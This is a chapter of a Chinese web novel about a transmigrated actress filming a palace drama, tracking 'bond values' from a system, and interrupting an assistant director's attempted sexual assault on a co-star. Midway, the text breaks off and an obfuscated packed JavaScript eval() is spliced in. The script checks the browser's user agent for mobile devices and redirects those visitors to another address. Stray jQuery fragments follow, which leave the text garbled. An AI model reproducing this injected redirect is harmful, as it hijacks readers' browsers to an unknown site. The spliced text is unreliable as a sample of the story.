走了几遍戏后,太阳渐渐西斜。
昏黄的阳光洒落在昭明宫廊下,将整座宫殿衬得静谧古朴,美不胜收,导演当即决定追光开机。
商晚和方星河坐定在镜头中。
即将开拍的是一场皇帝和长公主共进晚膳的戏。
长公主琼华作为皇帝李昭的亲姐姐,一手扶持他登上皇位,却在他登基后不动声色地将他架空成了一具傀儡。
李昭对此早有不满,因而频频动作,想要在朝中培植自己的心腹。
接下来要拍的,就是琼华借着用膳,敲打李昭的一场戏。
方星河无愧于他童星出道,同龄戏骨的称号,甫一出现在镜头里,他饰演的李昭就正襟危坐在了膳桌前。
这本该是他一天中最放松的时刻,可大权旁落,政敌更是虎踞在侧,他不得已将自己的脊背绷直成了一根行将拉断的弓弦。
而商晚——
商晚面对琼华这个角色,心绪其实是很复杂的。
商晚二十二岁那年,差一点演过一个同类型的角色。
之所以说是差一点,是因为她那时已经和剧组签了约。
她为这个角色精心准备了两个月,就连人物小传都写了几万字,可临开机前,她还是被剧组给换了。
旧时的角色换了个包装,重新出现在她面前,仿佛命运和她开的一个玩笑。
商晚心中五味杂陈。
场记打板声啪嗒响起,商晚一秒回神。
御前伺候的大太监弯腰弓背,小心翼翼地替李昭布膳,李昭却忽然抬手,指着一道菜道:“这道百花酿鸭脯皇姐平素爱用,替她布上。”
剧本里,琼华此时应该好整以暇地看向李昭,以不容置疑地口吻拒绝他的第一次示好。
然而,商晚却特意停顿了两秒,没说词。
方星河脑中顿时闪过“商南枝不会是忘词了吧”的想法,正要质问对面的人到底有没有把工作当回事,就见商南枝正静静看着他。
不,不是商南枝。
是琼华长公主。
因为那神情是琼华长公主的神情。
琼华神色平静地睨视他,目光中带有一种天然的威慑。
这让方星河下意识想起了商南枝在化妆间门口扫过他的那一眼,也是这样居高临下,就仿佛她就是琼华本人。
方星河当时被自己那一瞬间的错觉吓了一跳,再回神时,就见商南枝正狐疑地盯着他看。
方星河以为那只是他的一瞬眼花。
可这一秒的商南枝所流露的眼神,却再次将他带回了那个场景。
和李昭这样空有名头的傀儡皇帝不同,琼华的威慑是久居高位,大权独揽的威慑。
她只在膳桌上漫不经心地给了李昭的御前大太监一个眼神,那太监布菜的手就停在了半空中,再不敢上前一寸。
而后,琼华才神情温和地看向李昭,向他摇摇头,说出了剧本中的台词:“陛下,食不过三,这道菜本宫已用过三筷,该撤了。”
食不过三,这是祖宗的家训。
可与皇帝同桌用膳,要说什么时候该撤菜,也该是由皇帝做主,怎么也轮不到一位公主来撤走皇帝还没动过筷子的菜。
看着琼华平静到甚至没把这当成一回事的眼神,李昭终于察觉到了这件事情的本质——
这才叫做下马威。
作为一个戏痴,方星河在这个瞬间忘记了他对商晚的成见,几乎完全被她带入了戏中。
他饰演的李昭难掩复杂地看向琼华,目光中有一闪而过的屈辱。
数息之后,李昭将这一切全都咽了下去。
他垂眸:“皇姐教诲的是。”
这场戏到这里还没有结束。
方星河出画后,场记板再次打响。
仍旧是在这张膳桌前,琼华轻飘飘地嘱咐殿中的掌事女官,说:“今日的膳伺候得不好,传陛下口谕,刘御厨杖二十,贬去洒扫处。”
语气清淡,像是在谈论晨起该簪哪朵花,午间该上哪道点心。
俨然一个十足的不将底下人生死放在眼中的上位者模样。
不远处,方星河看着摄像机里的商晚,没忍住想,商南枝的台词居然还不错。
相较于方星河的内敛,导演的惊喜之色就几乎要溢于言表了。
他在商晚演完这一镜后笑得见牙不见眼,连连赞叹:“南枝最近是去上了哪个大师的表演课吗?这场戏演得真是叫人眼前一亮啊!”
商晚连连摆手,谦虚道:“哪有,都是导演教得好。”
也无怪导演满意成这样。
打从试戏起,周导就知道,商南枝压根没领会琼华这个人物的真正精髓。
一到镜头前,商南枝就会自动把琼华演成一个拿腔拿调的肤浅女人。
李昭一跟琼华作对,商南枝就立马像启动了程序的机器人一样,张牙舞爪地回怼。
偏她的台词还一点功底也没有,重音不明,吐字不清也就算了,时不时还磕巴一下,简直称得上是灾难。
再加上,商南枝实在是太过清楚自己的外貌优势。
不管演什么戏,她都放不下自己流量女星的美艳皮囊,总是一边演,一边还不忘捋捋自己摇曳的步摇,抻抻自己纤长的脖颈,让每一个坐在镜头前看她表演的人都感到坐立难安。
偏偏商南枝流量大,好不容易被驾着演了个女配,投资人压根就不同意换角。
导演一度自闭。
这剧要是就这么播出去,他的招牌那可就全砸了。
可眼前这场戏的表现,却足可以证明,商南枝终于弄明白了这个角色。
琼华不是深宫中争风吃醋的女人,她的视野在前朝。
她是一位手上沾过血的政治家。
回忆起商南枝之前险些害得他晚节不保的稀烂演技,周导看向商晚的目光越发和善。
商晚也上道,两人你来我往地互相恭维,气氛一时十分和谐。
一旁,看着商晚虚伪模样的方星河却再一次皱起了眉。
与此同时,商晚听见系统提示音跟过山车似的响个不停。
她演琼华给李昭下马威的时候,方星河的羁绊值涨到3。
她演琼华处置宫人的时候,方星河的羁绊值猛增到7.9。
等她一离开镜头,才和导演说了没两句话,系统就提示她:“方星河羁绊值持续下降中,当前羁绊值仅剩2.5,请宿主谨慎言行哦。”
商晚:“……”
她的言行到底哪里不谨慎啊?!
分明是方星河脑子有包!
男人心,海底针。
接下来几场戏都拍得意外顺利。
商晚凭着从底层一路磨砺上来的精湛演技,以及研读剧本时的认真态度,将琼华这个角色吃得十分透彻。
和方星河对戏时是你来我往的博弈,和沈茴对戏时是不屑一顾的傲慢。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026254|194421||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
和前朝效忠于她,却又不认可她身为女子,意图效仿武周称帝的朝臣们对戏时,则是上位者的威严,隐秘的不甘,蓬勃的欲望,以及不死不休的野心。
商晚的每一处分寸都拿捏得正正好。
她对自己很满意。
唯一令她不满的是,方星河这一晚上的羁绊值实在是起起伏伏得太让人抓狂了。
他几乎每隔几分钟就要波动一下,一晚上过去,最终也只稳定在了0.7。
商晚:一顿操作猛如虎,但你还不如不操作。
一直到下戏的时候,商晚看方星河的眼神已经染上了淡淡的绝望。
她面如死灰地和沈茴一起去化妆间卸妆,仿佛失去了灵魂。
夜色已深,化妆师的手法又太过轻柔,商晚靠在躺椅上,没忍住打了个盹。
再醒来的时候,她的妆已经卸好了。
化妆师正在叫她:“南枝姐,醒醒,都弄好了,可以回去休息了。”
商晚打了个哈欠,正要出门,余光瞥见沈茴那张空无一人的化妆椅,下意识觉得有哪里不太对劲。
就沈茴今晚那个中宫皇后的妆发,可比她的要复杂多了,这么快就卸好了?
她问化妆师:“沈茴回去了吗?”
化妆师:“没有,刚才刘副导说明天几句台词要改,让沈老师去看一眼。”
商晚:“!!!”
她就知道!
沈茴果然不愧是狗血言情文的女主,她才一眼没看住,女主就出事了!
作为《昭陵宫》剧组里的败类,刘副导演和商南枝一样臭名昭著,王八蛋属性几乎是《星途》读者公认的。
商南枝妄图睡男主。
而这位刘副导,平时就爱对漂亮的路人群演顺手揩油,后来更是色胆包天,盯上了才出道不久的新人沈茴。
他在一个下戏后的深夜以看剧本为由,将沈茴骗进了空无一人的剧本研读室。
要不是方星河那天夜里正巧路过,察觉不对,沈茴就真要折在这个王八蛋手里了。
因为这一次的英雄救美,方星河平生头一回对一个女孩有了越过正常限度的关注。
不过,来得早不如来得巧。
商晚既然赶上了原剧情里的这件大事,就正好拿它刷一波沈茴的羁绊值。
更何况——
商晚循着原身的记忆,飞速跑向剧本研读室。
半掩的门缝后,刘副导的手紧紧抓着沈茴的手腕。
他将沈茴拽到身前,一边动手扯她的衣服,一边凑近她的脖颈,自说自话道:“你跟了我有什么不好的?以后我手头的资源任你挑,这还不够吗?”
沈茴用力推刘副导,像是受了什么天大的折辱。
沈茴的那点力气,对刘副导来说简直就像小猫哈气一样无济于事,她手脚并用地挣扎,却只换来刘副导玩味的眼神。
商晚登时火冒三丈。
她拎起自己从化妆间里顺出来,提了一路的不锈钢保温瓶,猛地砸在了刘副导虚胖的后背上。
伴随着哐当一声巨响,商晚的声音掷地有声。
她说:“够你爷爷!”
更何况——
商晚看着被逼到绝处,眼眶发红的沈茴,想:更何况,像方星河那样捏着把柄,威胁刘副导,最终息事宁人的做法,实在是看得人太憋屈了。
有仇要当场报。
贱人就应该立马付出代价!